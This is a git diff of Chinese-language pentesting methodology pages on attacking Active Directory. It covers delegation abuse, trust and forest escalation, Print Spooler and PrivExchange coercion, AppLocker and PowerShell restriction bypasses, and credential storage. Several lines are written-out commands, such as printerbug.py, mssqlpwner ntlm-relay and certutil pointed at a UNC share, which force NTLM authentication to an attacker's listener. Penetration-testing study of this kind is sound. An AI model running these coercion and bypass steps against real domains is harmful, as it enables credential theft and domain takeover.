因此，如果**域管理员登录到计算机**，您将能够转储他的 TGT，并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
由于受限委派，您甚至可以**自动妥协打印服务器**（希望它是 DC）。
{{#ref}}
unconstrained-delegation.md
{{#endref}}
### 受限委托
### 受限委派
如果用户或计算机被允许进行“受限委托”，它将能够**冒充任何用户以访问计算机上的某些服务**。\
然后，如果您**妥协**此用户/计算机的哈希，您将能够**冒充任何用户**（甚至是域管理员）以访问某些服务。
如果用户或计算机被允许进行“受限委派”，它将能够**冒充任何用户以访问计算机中的某些服务**。\
然后，如果您**妥协该用户/计算机的哈希**，您将能够**冒充任何用户**（甚至是域管理员）以访问某些服务。
{{#ref}}
constrained-delegation.md
{{#endref}}
### 基于资源的受限委托
### 基于资源的受限委派
在远程计算机的 Active Directory 对象上拥有**写入**权限可以实现**提升权限**的代码执行：
@ -328,7 +328,7 @@ printers-spooler-service-abuse.md
### 第三方会话滥用
如果**其他用户****访问**被**妥协**的机器，可能会**从内存中收集凭据**，甚至**在他们的进程中注入信标**以冒充他们。\
通常用户会通过 RDP 访问系统，因此这里有如何对第三方 RDP 会话执行几种攻击的方法：
通常用户将通过 RDP 访问系统，因此这里有如何对第三方 RDP 会话执行几种攻击的方法：
{{#ref}}
rdp-sessions-abuse.md
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** 提供了一种管理域加入计算机上**本地管理员密码**的系统，确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中，访问通过 ACL 控制，仅限授权用户。拥有足够的权限访问这些密码后，转向其他计算机变得可能。
**LAPS** 提供了一种管理域加入计算机上的**本地管理员密码**的系统，确保其**随机化**、唯一且频繁**更改**。这些密码存储在 Active Directory 中，并通过 ACL 控制对授权用户的访问。拥有足够权限访问这些密码后，可以转向其他计算机。
{{#ref}}
laps.md
@ -435,9 +435,9 @@ ad-certificates/domain-persistence.md
### AdminSDHolder 组
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准的**访问控制列表 (ACL)** 来确保**特权组**（如域管理员和企业管理员）的安全，以防止未经授权的更改。然而，这一功能可能被利用；如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限，该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反，允许不当访问，除非进行严格监控。
Active Directory 中的**AdminSDHolder**对象通过在这些组中应用标准**访问控制列表 (ACL)** 来确保**特权组**（如域管理员和企业管理员）的安全，以防止未经授权的更改。然而，这一功能可能被利用；如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限，该用户将获得对所有特权组的广泛控制。这个本应保护的安全措施因此可能适得其反，允许未经授权的访问，除非进行严格监控。
[**有关 AdminDSHolder 组的更多信息在这里。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**有关 AdminDSHolder 组的更多信息。**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM 凭据
@ -473,7 +473,7 @@ skeleton-key.md
### 自定义 SSP
[了解什么是 SSP（安全支持提供者）在这里。](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
[了解什么是 SSP（安全支持提供者）](../authentication-credentials-uac-and-efs/#security-support-provider-interface-sspi)\
您可以创建自己的**SSP**以**捕获**用于访问机器的**凭据**的**明文**。\\
{{#ref}}
@ -483,7 +483,7 @@ custom-ssp.md
### DCShadow
它在 AD 中注册一个**新的域控制器**，并使用它在指定对象上**推送属性**（SIDHistory、SPNs...），**不留**任何关于**修改**的**日志**。您**需要 DA** 权限并在**根域**内。\
请注意，如果您使用错误的数据，会出现相当丑陋的日志。
请注意，如果您使用错误的数据，将会出现相当丑陋的日志。
{{#ref}}
dcshadow.md
@ -504,7 +504,7 @@ laps.md
### 基本信息
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) 是一种安全机制，使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接，允许身份验证验证无缝流动。当域建立信任时，它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**，这些密钥对信任的完整性至关重要。
[**域信任**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)是一种安全机制，使来自一个**域**的用户能够访问另一个**域**中的资源。它本质上在两个域的身份验证系统之间创建了一个链接，允许身份验证验证无缝流动。当域建立信任时，它们在其**域控制器 (DC)** 中交换并保留特定的**密钥**，这些密钥对信任的完整性至关重要。
在典型场景中，如果用户打算访问**受信任域**中的服务，他们必须首先从自己域的 DC 请求一个称为**跨域 TGT**的特殊票据。此 TGT 使用两个域已达成一致的共享**密钥**进行加密。然后，用户将此 TGT 提交给**受信任域的 DC**以获取服务票据（**TGS**）。在受信任域的 DC 成功验证跨域 TGT 后，它会发出 TGS，授予用户访问该服务的权限。
@ -526,11 +526,11 @@ laps.md
**不同的信任关系**
- **父子信任**：这是同一森林内的常见设置，子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**：称为“快捷信任”，这些是在子域之间建立的，以加快引用过程。在复杂的森林中，身份验证引用通常必须向森林根部上行，然后向目标域下行。通过创建交叉链接，旅程缩短，这在地理分散的环境中尤其有利。
- **父子信任**：这是同一森林中的常见设置，子域自动与其父域建立双向传递信任。这意味着身份验证请求可以在父域和子域之间无缝流动。
- **交叉链接信任**：称为“快捷信任”，这些是在子域之间建立的，以加快引用过程。在复杂的森林中，身份验证引用通常必须向森林根部上行，然后再向目标域下行。通过创建交叉链接，旅程缩短，这在地理分散的环境中尤其有利。
- **外部信任**：这些是在不同的、不相关的域之间建立的，具有非传递性。根据[微软的文档](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)，外部信任对于访问当前森林外的域中的资源非常有用，该域未通过森林信任连接。通过 SID 过滤增强安全性。
- **树根信任**：这些信任在森林根域和新添加的树根之间自动建立。虽然不常见，但树根信任对于将新域树添加到森林中非常重要，使它们能够保持唯一的域名并确保双向传递性。有关更多信息，请参见[微软的指南](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>)。
- **森林信任**：这种类型的信任是两个森林根域之间的双向传递信任，也强制实施 SID 过滤以增强安全措施。
- **森林信任**：这种类型的信任是两个森林根域之间的双向传递信任，也实施 SID 过滤以增强安全措施。
- **MIT 信任**：这些信任与非 Windows 的[符合 RFC4120](https://tools.ietf.org/html/rfc4120) 的 Kerberos 域建立。MIT 信任更为专业，适用于需要与 Windows 生态系统外的基于 Kerberos 的系统集成的环境。
#### **信任关系中的其他差异**
@ -541,7 +541,7 @@ laps.md
### 攻击路径
1. **枚举**信任关系
2. 检查是否有任何**安全主体**（用户/组/计算机）对**其他域**的资源具有**访问**权限，可能通过 ACE 条目或通过在其他域的组中。寻找**跨域关系**（信任可能是为此创建的）。
2. 检查是否有任何**安全主体**（用户/组/计算机）对**其他域**的资源具有**访问**权限，可能通过 ACE 条目或通过在其他域的组中。寻找**跨域的关系**（信任可能是为此创建的）。
1. 在这种情况下，kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**进行**转移**的**账户**。
@ -549,7 +549,7 @@ laps.md
- **本地组成员资格**：主体可能被添加到机器上的本地组中，例如服务器上的“管理员”组，从而授予他们对该机器的重大控制。
- **外部域组成员资格**：主体也可以是外部域中组的成员。然而，此方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**：主体可能在**ACL**中被指定，特别是在**DACL**中的**ACE**中，提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人，名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
- **访问控制列表 (ACL)**：主体可能在**ACL**中被指定，特别是在**DACL**中的**ACE**内，提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人，名为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
### 子到父森林权限提升
```
@ -574,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History 注入
通过 SID-History 注入，作为企业管理员提升到子/父域：
通过 SID-History 注入利用信任关系以企业管理员身份提升到子/父域：
{{#ref}}
sid-history-injection.md
@ -582,7 +582,7 @@ sid-history-injection.md
#### 利用可写的配置 NC
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中跨森林的配置数据的中央存储库。这些数据会复制到森林中的每个域控制器 (DC)，可写的 DC 维护配置 NC 的可写副本。要利用这一点，必须在 DC 上拥有 **SYSTEM 权限**，最好是子 DC。
理解如何利用配置命名上下文 (NC) 是至关重要的。配置 NC 作为 Active Directory (AD) 环境中配置数据的中央存储库。该数据会复制到森林中的每个域控制器 (DC)，可写的 DC 维护配置 NC 的可写副本。要利用这一点，必须在 DC 上拥有 **SYSTEM 权限**，最好是子 DC。
**将 GPO 链接到根 DC 站点**
@ -598,7 +598,7 @@ sid-history-injection.md
**架构变更攻击**
此方法需要耐心，等待新特权 AD 对象的创建。通过 SYSTEM 权限，攻击者可以修改 AD 架构，以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
此方法需要耐心，等待新特权 AD 对象的创建。拥有 SYSTEM 权限的攻击者可以修改 AD 架构，以授予任何用户对所有类的完全控制。这可能导致对新创建的 AD 对象的未经授权的访问和控制。
进一步阅读可在 [架构变更信任攻击](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) 中找到。
@ -606,7 +606,7 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制，以创建一个证书模板，使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中，危害可写的子 DC 使得执行 ESC5 攻击成为可能。
有关更多详细信息，请阅读 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下，攻击者能够设置必要的组件，如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
有关此内容的更多详细信息，请参阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下，攻击者有能力设置必要的组件，如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中所讨论的。
### 外部森林域 - 单向（入站）或双向
```powershell
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
在这种情况下，**您的域受到外部域的信任**，这给您提供了**不确定的权限**。您需要找出**您的域中的哪些主体对外部域具有哪些访问权限**，然后尝试利用它：
在这种情况下，**您的域受到外部域的信任**，这使您对其拥有**不确定的权限**。您需要找出**您的域中的哪些主体对外部域具有哪些访问权限**，然后尝试利用它：
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
在这种情况下，**您的域**正在**信任**来自**不同域**的主体的一些**权限**。
然而，当一个**域被信任**时，受信任的域**创建一个用户**，其**名称是可预测的**，并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户，以进入受信任的域**，以枚举它并尝试提升更多权限：
然而，当一个**域被信任**时，受信任的域**创建一个用户**，其**名称是可预测的**，并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任的域**，以枚举它并尝试提升更多权限：
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -647,7 +647,7 @@ external-forest-domain-one-way-outbound.md
另一种妥协受信任域的方法是找到一个在**域信任的相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)（这并不常见）。
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问的**机器上，通过**RDP**登录。然后，攻击者可以在RDP会话进程中注入代码，并从那里**访问受害者的源域**。\
另一种妥协受信任域的方法是在一台**受信任域的用户可以访问**的机器上等待，通过**RDP**登录。然后，攻击者可以在RDP会话进程中注入代码，并从那里**访问受害者的源域**。\
此外，如果**受害者挂载了他的硬盘**，攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}}
@ -658,19 +658,21 @@ rdp-sessions-abuse.md
### **SID过滤：**
- 利用SID历史属性跨森林信任进行攻击的风险通过SID过滤得到缓解，SID过滤在所有跨森林信任中默认启用。这是基于假设，考虑到森林而非域作为安全边界，认为内部森林信任是安全的，这是微软的立场。
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险，SID过滤在所有跨森林信任中默认启用。这是基于假设，考虑到森林而不是域作为安全边界，认为内部森林信任是安全的，这是微软的立场。
- 然而，有一个问题：SID过滤可能会干扰应用程序和用户访问，导致其偶尔被禁用。
### **选择性认证：**
### **选择性身份验证：**
- 对于跨森林信任，采用选择性认证确保两个森林的用户不会自动被认证。相反，用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是，这些措施并不能保护免受可写配置命名上下文（NC）的利用或对信任账户的攻击。
- 对于跨森林信任，采用选择性身份验证确保两个森林中的用户不会自动被认证。相反，用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是，这些措施并不能保护免受可写配置命名上下文（NC）的利用或对信任帐户的攻击。
[**有关域信任的更多信息，请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## 一些通用防御
@ -679,8 +681,8 @@ rdp-sessions-abuse.md
### **凭据保护的防御措施**
- **域管理员限制**：建议仅允许域管理员登录到域控制器，避免在其他主机上使用。
- **服务账户权限**：服务不应以域管理员（DA）权限运行，以保持安全。
- **临时权限限制**：对于需要DA权限的任务，应限制其持续时间。这可以通过以下方式实现：`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **服务帐户权限**：服务不应以域管理员（DA）权限运行，以保持安全。
- **临时权限限制**：对于需要DA权限的任务，其持续时间应有限制。这可以通过以下方式实现：`Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **实施欺骗技术**
@ -691,7 +693,7 @@ rdp-sessions-abuse.md
### **识别欺骗**
- **对于用户对象**：可疑指标包括不典型的ObjectSID、少见的登录、创建日期和低错误密码计数。
- **一般指标**：比较潜在诱饵对象的属性与真实对象的属性可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。
- **一般指标**：将潜在诱饵对象的属性与真实对象的属性进行比较可以揭示不一致性。像[HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)这样的工具可以帮助识别这种欺骗。
### **绕过检测系统**

20
src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
View File

@ -6,9 +6,9 @@
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) 是一个用 C# 编写的 **远程认证触发器** 的 **集合**，使用 MIDL 编译器以避免第三方依赖。
## Spooler 服务滥用
## Spooler Service Abuse
如果 _**Print Spooler**_ 服务 **启用，** 您可以使用一些已知的 AD 凭据向域控制器的打印服务器 **请求** 新打印作业的 **更新**，并告诉它 **将通知发送到某个系统**。\
如果 _**Print Spooler**_ 服务 **启用，** 您可以使用一些已知的 AD 凭据 **请求** 域控制器的打印服务器更新新打印作业，并告诉它 **将通知发送到某个系统**。\
请注意，当打印机将通知发送到任意系统时，它需要 **对该系统进行认证**。因此，攻击者可以使 _**Print Spooler**_ 服务对任意系统进行认证，并且该服务将在此认证中 **使用计算机账户**。
### 在域中查找 Windows 服务器
@ -41,21 +41,23 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
```
### 结合不受限制的委托
如果攻击者已经攻陷了一台具有 [不受限制的委托](unconstrained-delegation.md) 的计算机，攻击者可以**使打印机对该计算机进行身份验证**。由于不受限制的委托，**打印机的计算机帐户的 TGT** 将被**保存在**具有不受限制委托的计算机的**内存**中。由于攻击者已经攻陷了该主机，他将能够**检索此票证**并加以利用（[Pass the Ticket](pass-the-ticket.md)）。
如果攻击者已经攻陷了一台具有[不受限制的委托](unconstrained-delegation.md)的计算机，攻击者可以**使打印机对该计算机进行身份验证**。由于不受限制的委托，**打印机的计算机帐户的TGT**将被**保存在**具有不受限制委托的计算机的**内存**中。由于攻击者已经攻陷了该主机，他将能够**检索此票证**并加以利用（[Pass the Ticket](pass-the-ticket.md)）。
## RCP 强制身份验证
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
`PrivExchange` 攻击是由于在 **Exchange Server `PushSubscription` 功能** 中发现的缺陷。该功能允许任何具有邮箱的域用户强制 Exchange 服务器通过 HTTP 对任何客户端提供的主机进行身份验证。
`PrivExchange`攻击是由于**Exchange Server `PushSubscription`功能**中的一个缺陷。该功能允许任何具有邮箱的域用户强制Exchange服务器通过HTTP对任何客户端提供的主机进行身份验证。
默认情况下，**Exchange 服务以 SYSTEM 身份运行**，并被赋予过多的权限（具体来说，它在域的 2019 年之前的累积更新上具有 **WriteDacl 权限**）。此缺陷可被利用以启用**向 LDAP 中转信息并随后提取域 NTDS 数据库**。在无法向 LDAP 中转的情况下，此缺陷仍可用于在域内对其他主机进行中转和身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
默认情况下，**Exchange服务以SYSTEM身份运行**，并被赋予过多的权限（具体来说，它在2019年之前的累积更新上具有**WriteDacl权限**）。这个缺陷可以被利用来启用**向LDAP中转信息并随后提取域NTDS数据库**。在无法向LDAP中转的情况下，这个缺陷仍然可以用于在域内中转和对其他主机进行身份验证。成功利用此攻击将立即授予任何经过身份验证的域用户帐户对域管理员的访问权限。
## 在 Windows 内部
## 在Windows内部
如果您已经在 Windows 机器内部，可以使用特权帐户强制 Windows 连接到服务器，方法是：
如果您已经在Windows机器内部，可以使用特权帐户强制Windows连接到服务器，方法是：
### Defender MpCmdRun
```bash
@ -80,7 +82,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### Certutil
可以使用 certutil.exe lolbin（微软签名的二进制文件）来强制 NTLM 认证：
可以使用 certutil.exe lolbin（微软签名的二进制文件）来强制 NTLM 认证:
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```

32
src/windows-hardening/authentication-credentials-uac-and-efs.md
View File

@ -26,7 +26,7 @@ $a.rulecollections
### 绕过
- 有用的 **可写文件夹** 以绕过 AppLocker 策略：如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容，则可以使用 **可写文件夹** 来 **绕过此限制**。
- 有用的 **可写文件夹** 用于绕过 AppLocker 策略：如果 AppLocker 允许在 `C:\Windows\System32` 或 `C:\Windows` 内执行任何内容，则可以使用 **可写文件夹** 来 **绕过此限制**。
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
@ -36,8 +36,8 @@ C:\windows\tracing
- 常见的 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可以用于绕过 AppLocker。
- **编写不当的规则也可能被绕过**
- 例如，**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**，您可以在任何地方创建一个 **名为 `allowed` 的文件夹**，它将被允许。
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
- **DLL 强制执行很少启用**，因为它可能对系统造成额外负担，并且需要大量测试以确保不会出现故障。因此，使用 **DLL 作为后门将有助于绕过 AppLocker**。
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
- **DLL 强制执行很少启用**，因为它可能对系统造成额外负担，以及确保没有任何东西会崩溃所需的测试量。因此，使用 **DLL 作为后门将有助于绕过 AppLocker**。
- 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息，请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
## 凭据存储
@ -58,8 +58,8 @@ LSA 将是 **检查** 提供的凭据的 **SAM** 文件（用于本地登录）
LSA 可以在磁盘上保存一些凭据：
- Active Directory 的计算机账户密码（无法访问的域控制器）。
- Windows 服务账户的密码
- Active Directory 的计算机帐户密码（无法访问的域控制器）。
- Windows 服务帐户的密码
- 计划任务的密码
- 更多（IIS 应用程序的密码...）
@ -69,7 +69,7 @@ LSA 可以在磁盘上保存一些凭据：
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具，如 **`WinPEAS`**。然而，有一些方法可以 **绕过这些保护**。
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) 是 Windows 10 和 Windows 11 以及 Windows Server 版本中可用的防病毒软件。它 **阻止** 常见的渗透测试工具，如 **`WinPEAS`**。但是，有方法可以 **绕过这些保护**。
### 检查
@ -130,11 +130,13 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
#### 成为权限系统
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌 (`impersonate_token` 来自 `incognito`)。或者您可以直接 `migrate` 到用户的进程。
这种方式要求 **受害者用户** 在主机内 **运行** 一个 **进程**。如果是这种情况，使用 `meterpreter` 会话可以模拟用户进程的令牌（`incognito` 中的 `impersonate_token`）。或者您可以直接 `migrate` 到用户的进程。
#### 知道用户密码
#### 知道用户的密码
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## 组管理服务账户 (gMSA)
@ -142,11 +144,11 @@ EFS 通过加密保护文件，使用称为 **文件加密密钥 (FEK)** 的 **
- **自动密码管理**：gMSA 使用复杂的 240 字符密码，自动根据域或计算机策略进行更改。此过程由微软的密钥分发服务 (KDC) 处理，消除了手动更新密码的需要。
- **增强安全性**：这些账户免受锁定，并且不能用于交互式登录，从而增强了安全性。
- **多主机支持**：gMSA 可以在多个主机之间共享，非常适合在多个服务器上运行的服务。
- **多主机支持**：gMSA 可以在多个主机之间共享，使其非常适合在多个服务器上运行的服务。
- **计划任务能力**：与管理服务账户不同，gMSA 支持运行计划任务。
- **简化 SPN 管理**：当计算机的 sAMaccount 详细信息或 DNS 名称发生更改时，系统会自动更新服务主体名称 (SPN)，简化 SPN 管理。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置。此密码是一个加密数据块，称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)，只能由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，如 LDAPS，或连接必须经过“密封和安全”认证。
gMSA 的密码存储在 LDAP 属性 _**msDS-ManagedPassword**_ 中，并由域控制器 (DC) 每 30 天自动重置一次。此密码是一个加密数据块，称为 [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)，只能由授权管理员和安装 gMSA 的服务器检索，从而确保安全环境。要访问此信息，需要安全连接，例如 LDAPS，或者连接必须经过“密封和安全”认证。
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
@ -168,7 +170,7 @@ active-directory-methodology/laps.md
## PS受限语言模式
PowerShell [**受限语言模式**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **锁定了许多**有效使用PowerShell所需的功能，例如阻止COM对象，仅允许批准的.NET类型、基于XAML的工作流、PowerShell类等。
PowerShell [**受限语言模式**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **锁定了许多使用PowerShell所需的功能**，例如阻止COM对象，仅允许批准的.NET类型、基于XAML的工作流、PowerShell类等。
### **检查**
```powershell
@ -181,7 +183,7 @@ $ExecutionContext.SessionState.LanguageMode
Powershell -version 2
```
在当前的Windows中，该绕过方法将无法工作，但您可以使用[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)。\
**要编译它，您可能需要** **添加一个引用** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
**要编译它，您可能需要** **_添加引用_** -> _浏览_ -> _浏览_ -> 添加 `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` 并**将项目更改为 .Net4.5**。
#### 直接绕过：
```bash
@ -229,14 +231,14 @@ SSPI 将负责为想要通信的两台机器找到合适的协议。首选方法
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** 和 **NTLMv2**: 兼容性原因
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Web 服务器和 LDAP，密码以 MD5 哈希形式
- **Digest**: Web 服务器和 LDAP，密码以 MD5 哈希形式存在
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL 和 TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: 用于协商使用的协议（Kerberos 或 NTLM，默认是 Kerberos）
- %windir%\Windows\System32\lsasrv.dll
#### 协商可以提供多种方法或仅提供一种。
#### 协商可能提供多种方法或仅提供一种。
## UAC - 用户帐户控制

26
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -35,8 +35,8 @@ C:\windows\tracing
```
- 常见的 **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) 二进制文件也可以用于绕过 AppLocker。
- **编写不当的规则也可能被绕过**
- 例如，**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**，您可以在任何地方创建一个 **名为 `allowed` 的文件夹**，它将被允许。
- 组织通常还会专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
- 例如，**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**，您可以在任何地方创建一个 **名为 `allowed`** 的文件夹，它将被允许。
- 组织通常还专注于 **阻止 `%System32%\WindowsPowerShell\v1.0\powershell.exe` 可执行文件**，但忘记了 **其他** [**PowerShell 可执行文件位置**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations)，例如 `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` 或 `PowerShell_ISE.exe`。
- **DLL 强制执行很少启用**，因为它可能对系统造成额外负担，并且需要大量测试以确保不会出现故障。因此，使用 **DLL 作为后门将有助于绕过 AppLocker**。
- 您可以使用 [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 或 [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) 在任何进程中 **执行 Powershell** 代码并绕过 AppLocker。有关更多信息，请查看: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)。
@ -50,7 +50,7 @@ C:\windows\tracing
**凭据**（哈希）被 **保存** 在此子系统的 **内存** 中，以实现单点登录。\
**LSA** 管理本地 **安全策略**（密码策略、用户权限...）、**身份验证**、**访问令牌**...\
LSA 将是 **检查** 提供的凭据的 **SAM** 文件（用于本地登录）并与 **域控制器** 进行通信以验证域用户。
LSA 将是 **检查** 提供的凭据的 **SAM** 文件（用于本地登录）并 **与** **域控制器** 通信以验证域用户。
**凭据** 被 **保存** 在 **进程 LSASS** 中：Kerberos 票证、NT 和 LM 哈希、易于解密的密码。
